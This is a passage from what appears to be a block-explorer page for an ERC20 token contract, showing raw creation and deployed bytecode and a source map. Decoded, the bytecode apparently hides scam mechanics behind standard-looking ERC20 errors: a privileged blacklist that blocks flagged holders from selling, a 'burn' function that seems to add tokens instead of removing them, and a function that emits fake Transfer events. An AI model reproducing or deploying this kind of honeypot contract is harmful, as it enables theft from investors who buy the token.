d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611c74602883611673565b9150611c7f82611c18565b604082019050919050565b60006020820190508181036000830152611ca381611c67565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ce482611782565b9150611cef83611782565b9250828201905080821115611d0757611d06611caa565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d43602083611673565b9150611d4e82611d0d565b602082019050919050565b60006020820190508181036000830152611d7281611d36565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611dd5602583611673565b9150611de082611d79565b604082019050919050565b60006020820190508181036000830152611e0481611dc8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e67602483611673565b9150611e7282611e0b565b604082019050919050565b60006020820190508181036000830152611e9681611e5a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef9602283611673565b9150611f0482611e9d565b604082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f8b602583611673565b9150611f9682611f2f565b604082019050919050565b60006020820190508181036000830152611fba81611f7e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061201d602383611673565b915061202882611fc1565b604082019050919050565b6000602082019050818103600083015261204c81612010565b9050919050565b7f45524332303a207472616e7366657220616d6f7574206578636565647320616c60008201527f6c6f77616e636500000000000000000000000000000000000000000000000000602082015250565b60006120af602783611673565b91506120ba82612053565b604082019050919050565b600060208201905081810360008301526120de816120a2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612141602683611673565b915061214c826120e5565b604082019050919050565b6000602082019050818103600083015261217081612134565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006121d3602183611673565b91506121de82612177565b604082019050919050565b60006020820190508181036000830152612202816121c6565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612265602283611673565b915061227082612209565b604082019050919050565b6000602082019050818103600083015261229481612258565b905091905056fea264697066735822122005f2c4b8ad88bbe26062f5857fe8a38a7e959cf09812b09dd89dfa41140d679d64736f6c63430008160033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80635c19a95c116100ad578063a457c2d711610071578063a457c2d71461031f578063a9059cbb1461034f578063c2b7bbb61461037f578063dd62ed3e1461039b578063ebff39c1146103cb5761012c565b80635c19a95c1461028d57806370a08231146102a9578063715018a6146102d95780638da5cb5b146102e357806395d89b41146103015761012c565b806326ededb8116100f457806326ededb8146101e9578063313ce56714610205578063395093511461022357806342966c681461025357806349bd5a5e1461026f5761012c565b806306fdde0314610131578063095ea7b31461014f5780631186b8d81461017f57806318160ddd1461019b57806323b872dd146101b9575b600080fd5b6101396103fb565b60405161014691906116f8565b60405180910390f35b610169600480360381019061016491906117b8565b61048d565b6040516101769190611813565b60405180910390f35b610199600480360381019061019491906118bf565b6104ab565b005b6101a36105e1565b6040516101b0919061192e565b60405180910390f35b6101d360048036038101906101ce9190611949565b6105eb565b6040516101e09190611813565b60405180910390f35b61020360048036038101906101fe919061199c565b6106e3565b005b61020d610849565b60405161021a9190611a18565b60405180910390f35b61023d600480360381019061023891906117b8565b610860565b60405161024a9190611813565b60405180910390f35b61026d60048036038101906102689190611a33565b61090c565b005b6102776109b7565b6040516102849190611a6f565b60405180910390f35b6102a760048036038101906102a29190611a8a565b6109dd565b005b6102c360048036038101906102be9190611a8a565b610af8565b6040516102d0919061192e565b60405180910390f35b6102e1610b41565b005b6102eb610bc9565b6040516102f89190611a6f565b60405180910390f35b610309610bf2565b60405161031691906116f8565b60405180910390f35b610339600480360381019061033491906117b8565b610c84565b6040516103469190611813565b60405180910390f35b610369600480360381019061036491906117b8565b610d6f565b6040516103769190611813565b60405180910390f35b61039960048036038101906103949190611a8a565b610d8d565b005b6103b560048036038101906103b09190611ab7565b610e4d565b6040516103c2919061192e565b60405180910390f35b6103e560048036038101906103e09190611a8a565b610ed4565b6040516103f29190611813565b60405180910390f35b60606006805461040a90611b26565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611b26565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610f2a565b8484610f32565b6001905092915050565b6104b3610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610542576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053990611bc9565b60405180910390fd5b60005b838390508110156105db57816003600086868581811061056857610567611be9565b5b905060200201602081019061057d9190611a8a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610545565b50505050565b6000600554905090565b60006105f88484846110fb565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610643610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90611c8a565b60405180910390fd5b6106d7856106cf610f2a565b858403610f32565b60019150509392505050565b6106eb610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190611bc9565b60405180910390fd5b60005b838390508110156108435783838281811061079b5761079a611be9565b5b90506020020160208101906107b09190611a8a565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082e919061192e565b60405180910390a3808060010191505061077d565b50505050565b6000600860009054906101000a900460ff16905090565b600061090261086d610f2a565b84846004600061087b610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108fd9190611cd9565b610f32565b6001905092915050565b610914610f2a565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099a90611bc9565b60405180910390fd5b6109b46109ae610f2a565b826113fd565b50565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e5610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610a03610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5090611d59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b49610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610b67610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490611d59565b60405180910390fd5b610bc760006115a4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610c0190611b26565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2d90611b26565b8015610c7a5780601f10610c4f57610100808354040283529160200191610c7a565b820191906000526020600020905b815481529060010190602001808311610c5d57829003601f168201915b5050505050905090565b60008060046000610c93610f2a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4790611deb565b60405180910390fd5b610d64610d5b610f2a565b85858403610f32565b600191505092915050565b6000610d83610d7c610f2a565b84846110fb565b6001905092915050565b610d95610f2a565b73ffffffffffffffffffffffffffffffffffffffff16610db3610bc9565b73ffffffffffffffffffffffffffffffffffffffff1614610e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0090611d59565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9890611e7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100790611f0f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ee919061192e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116190611fa1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d090612033565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561126f576000811461126e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611265906120c5565b60405180910390fd5b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed90612157565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461138b9190611cd9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113ef919061192e565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361146c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611463906121e9565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818111156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061227b565b60405180910390fd5b818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611597919061192e565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a2578082015181840152602081019050611687565b60008484015250505050565b6000601f19601f8301169050919050565b60006116ca82611668565b6116d48185611673565b93506116e4818560208601611684565b6116ed816116ae565b840191505092915050565b6000602082019050818103600083015261171281846116bf565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061174f82611724565b9050919050565b61175f81611744565b811461176a57600080fd5b50565b60008135905061177c81611756565b92915050565b6000819050919050565b61179581611782565b81146117a057600080fd5b50565b6000813590506117b28161178c565b92915050565b600080604083850312156117cf576117ce61171a565b5b60006117dd8582860161176d565b92505060206117ee858286016117a3565b9150509250929050565b60008115159050919050565b61180d816117f8565b82525050565b60006020820190506118286000830184611804565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126118535761185261182e565b5b8235905067ffffffffffffffff8111156118705761186f611833565b5b60208301915083602082028301111561188c5761188b611838565b5b9250929050565b61189c816117f8565b81146118a757600080fd5b50565b6000813590506118b981611893565b92915050565b6000806000604084860312156118d8576118d761171a565b5b600084013567ffffffffffffffff8111156118f6576118f561171f565b5b6119028682870161183d565b93509350506020611915868287016118aa565b9150509250925092565b61192881611782565b82525050565b6000602082019050611943600083018461191f565b92915050565b6000806000606084860312156119625761196161171a565b5b60006119708682870161176d565b93505060206119818682870161176d565b9250506040611992868287016117a3565b9150509250925092565b6000806000604084860312156119b5576119b461171a565b5b600084013567ffffffffffffffff8111156119d3576119d261171f565b5b6119df8682870161183d565b935093505060206119f2868287016117a3565b9150509250925092565b600060ff82169050919050565b611a12816119fc565b82525050565b6000602082019050611a2d6000830184611a09565b92915050565b600060208284031215611a4957611a4861171a565b5b6000611a57848285016117a3565b91505092915050565b611a6981611744565b82525050565b6000602082019050611a846000830184611a60565b92915050565b600060208284031215611aa057611a9f61171a565b5b6000611aae8482850161176d565b91505092915050565b60008060408385031215611ace57611acd61171a565b5b6000611adc8582860161176d565b9250506020611aed8582860161176d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3e57607f821691505b602082108103611b5157611b50611af7565b5b50919050565b7f44656c6567617465733a2063616c6c6572206973206e6f74207468652064656c60008201527f6567617465000000000000000000000000000000000000000000000000000000602082015250565b6000611bb3602583611673565b9150611bbe82611b57565b604082019050919050565b60006020820190508181036000830152611be281611ba6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611c74602883611673565b9150611c7f82611c18565b604082019050919050565b60006020820190508181036000830152611ca381611c67565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ce482611782565b9150611cef83611782565b9250828201905080821115611d0757611d06611caa565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d43602083611673565b9150611d4e82611d0d565b602082019050919050565b60006020820190508181036000830152611d7281611d36565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611dd5602583611673565b9150611de082611d79565b604082019050919050565b60006020820190508181036000830152611e0481611dc8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e67602483611673565b9150611e7282611e0b565b604082019050919050565b60006020820190508181036000830152611e9681611e5a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ef9602283611673565b9150611f0482611e9d565b604082019050919050565b60006020820190508181036000830152611f2881611eec565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f8b602583611673565b9150611f9682611f2f565b604082019050919050565b60006020820190508181036000830152611fba81611f7e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061201d602383611673565b915061202882611fc1565b604082019050919050565b6000602082019050818103600083015261204c81612010565b9050919050565b7f45524332303a207472616e7366657220616d6f7574206578636565647320616c60008201527f6c6f77616e636500000000000000000000000000000000000000000000000000602082015250565b60006120af602783611673565b91506120ba82612053565b604082019050919050565b600060208201905081810360008301526120de816120a2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612141602683611673565b915061214c826120e5565b604082019050919050565b6000602082019050818103600083015261217081612134565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006121d3602183611673565b91506121de82612177565b604082019050919050565b60006020820190508181036000830152612202816121c6565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612265602283611673565b915061227082612209565b604082019050919050565b6000602082019050818103600083015261229481612258565b905091905056fea264697066735822122005f2c4b8ad88bbe26062f5857fe8a38a7e959cf09812b09dd89dfa41140d679d64736f6c63430008160033
Deployed Bytecode Sourcemap
85:240:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1563:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3917:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2604:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2290:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5244:432;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9038:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2125:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6045:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3467:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9003:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1311:138:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2461:127:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1792:103:3;;;:::i;:::-;;715:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1774:104:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6723:387;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3184:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9272:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3635:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2843:144;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1563:100;1617:13;1650:5;1643:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1563:100;:::o;3917:169::-;4000:4;4017:39;4026:12;:10;:12::i;:::-;4040:7;4049:6;4017:8;:39::i;:::-;4074:4;4067:11;;3917:169;;;;:::o;2604:226::-;1175:12:3;:10;:12::i;:::-;1162:25;;:9;;;;;;;;;;;:25;;;1154:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;2703:9:1::1;2698:125;2722:7;;:14;;2718:1;:18;2698:125;;;2808:3;2758:35;:47;2794:7;;2802:1;2794:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2758:47;;;;;;;;;;;;;;;;:53;;;;;;;;;;;;;;;;;;2738:3;;;;;;;2698:125;;;;2604:226:::0;;;:::o;2290:108::-;2351:7;2378:12;;2371:19;;2290:108;:::o;5244:432::-;5351:4;5368:36;5378:6;5386:9;5397:6;5368:9;:36::i;:::-;5415:24;5442:11;:19;5454:6;5442:19;;;;;;;;;;;;;;;:33;5462:12;:10;:12::i;:::-;5442:33;;;;;;;;;;;;;;;;5415:60;;5514:6;5494:16;:26;;5486:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;5588:57;5597:6;5605:12;:10;:12::i;:::-;5638:6;5619:16;:25;5588:8;:57::i;:::-;5664:4;5657:11;;;5244:432;;;;;:::o;9038:226::-;1175:12:3;:10;:12::i;:::-;1162:25;;:9;;;;;;;;;;;:25;;;1154:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;9138:9:1::1;9133:124;9157:10;;:17;;9153:1;:21;9133:124;;;9225:10;;9236:1;9225:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9201:44;;9210:13;;;;;;;;;;;9201:44;;;9240:4;9201:44;;;;;;:::i;:::-;;;;;;;;9176:3;;;;;;;9133:124;;;;9038:226:::0;;;:::o;2125:100::-;2183:5;2208:9;;;;;;;;;;;2201:16;;2125:100;:::o;6045:215::-;6133:4;6150:80;6159:12;:10;:12::i;:::-;6173:7;6219:10;6182:11;:25;6194:12;:10;:12::i;:::-;6182:25;;;;;;;;;;;;;;;:34;6208:7;6182:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;6150:8;:80::i;:::-;6248:4;6241:11;;6045:215;;;;:::o;3467:105::-;1175:12:3;:10;:12::i;:::-;1162:25;;:9;;;;;;;;;;;:25;;;1154:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;3537:27:1::1;3543:12;:10;:12::i;:::-;3557:6;3537:5;:27::i;:::-;3467:105:::0;:::o;9003:28::-;;;;;;;;;;;;;:::o;1311:138:3:-;946:12;:10;:12::i;:::-;935:23;;:7;:5;:7::i;:::-;:23;;;927:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1407:1:::1;1386:23;;:9;;;;;;;;;;;:23;;;1377:33;;;::::0;::::1;;1433:8;1421:9;;:20;;;;;;;;;;;;;;;;;;1311:138:::0;:::o;2461:127:1:-;2535:7;2562:9;:18;2572:7;2562:18;;;;;;;;;;;;;;;;2555:25;;2461:127;;;:::o;1792:103:3:-;946:12;:10;:12::i;:::-;935:23;;:7;:5;:7::i;:::-;:23;;;927:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1857:30:::1;1884:1;1857:18;:30::i;:::-;1792:103::o:0;715:87::-;761:7;788:6;;;;;;;;;;;781:13;;715:87;:::o;1774:104:1:-;1830:13;1863:7;1856:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1774:104;:::o;6723:387::-;6816:4;6833:24;6860:11;:25;6872:12;:10;:12::i;:::-;6860:25;;;;;;;;;;;;;;;:34;6886:7;6860:34;;;;;;;;;;;;;;;;6833:61;;6933:15;6913:16;:35;;6905:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7012:67;7021:12;:10;:12::i;:::-;7035:7;7063:15;7044:16;:34;7012:8;:67::i;:::-;7098:4;7091:11;;;6723:387;;;;:::o;3184:175::-;3270:4;3287:42;3297:12;:10;:12::i;:::-;3311:9;3322:6;3287:9;:42::i;:::-;3347:4;3340:11;;3184:175;;;;:::o;9272:97::-;946:12:3;:10;:12::i;:::-;935:23;;:7;:5;:7::i;:::-;:23;;;927:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9348:5:1::1;9332:13;;:21;;;;;;;;;;;;;;;;;;9272:97:::0;:::o;3635:151::-;3724:7;3751:11;:18;3763:5;3751:18;;;;;;;;;;;;;;;:27;3770:7;3751:27;;;;;;;;;;;;;;;;3744:34;;3635:151;;;;:::o;2843:144::-;2911:4;2935:35;:44;2971:7;2935:44;;;;;;;;;;;;;;;;;;;;;;;;;2928:51;;2843:144;;;:::o;515:98:0:-;568:7;595:10;588:17;;515:98;:::o;8651:344:1:-;8770:1;8753:19;;:5;:19;;;8745:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8851:1;8832:21;;:7;:21;;;8824:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8933:6;8903:11;:18;8915:5;8903:18;;;;;;;;;;;;;;;:27;8922:7;8903:27;;;;;;;;;;;;;;;:36;;;;8971:7;8955:32;;8964:5;8955:32;;;8980:6;8955:32;;;;;;:::i;:::-;;;;;;;;8651:344;;;:::o;7568:687::-;7692:1;7674:20;;:6;:20;;;7666:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;7776:1;7755:23;;:9;:23;;;7747:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7834:35;:43;7870:6;7834:43;;;;;;;;;;;;;;;;;;;;;;;;;7820:133;;;7908:1;7898:6;:11;7879:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;7820:133;7964:21;7988:9;:17;7998:6;7988:17;;;;;;;;;;;;;;;;7964:41;;8041:6;8024:13;:23;;8016:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8148:6;8132:13;:22;8112:9;:17;8122:6;8112:17;;;;;;;;;;;;;;;:42;;;;8190:6;8166:9;:20;8176:9;8166:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8229:9;8212:35;;8221:6;8212:35;;;8240:6;8212:35;;;;;;:::i;:::-;;;;;;;;7655:600;7568:687;;;:::o;4387:407::-;4490:1;4471:21;;:7;:21;;;4463:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4541:22;4566:9;:18;4576:7;4566:18;;;;;;;;;;;;;;;;4541:43;;4621:6;4603:14;:24;;4595:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4726:6;4709:14;:23;4688:9;:18;4698:7;4688:18;;;;;;;;;;;;;;;:44;;;;4775:1;4749:37;;4758:7;4749:37;;;4779:6;4749:37;;;;;;:::i;:::-;;;;;;;;4452:342;4387:407;;:::o;2055:191:3:-;2129:16;2148:6;;;;;;;;;;;2129:25;;2174:8;2165:6;;:17;;;;;;;;;;;;;;;;;;2229:8;2198:40;;2219:8;2198:40;;;;;;;;;;;;2118:128;2055:191;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:3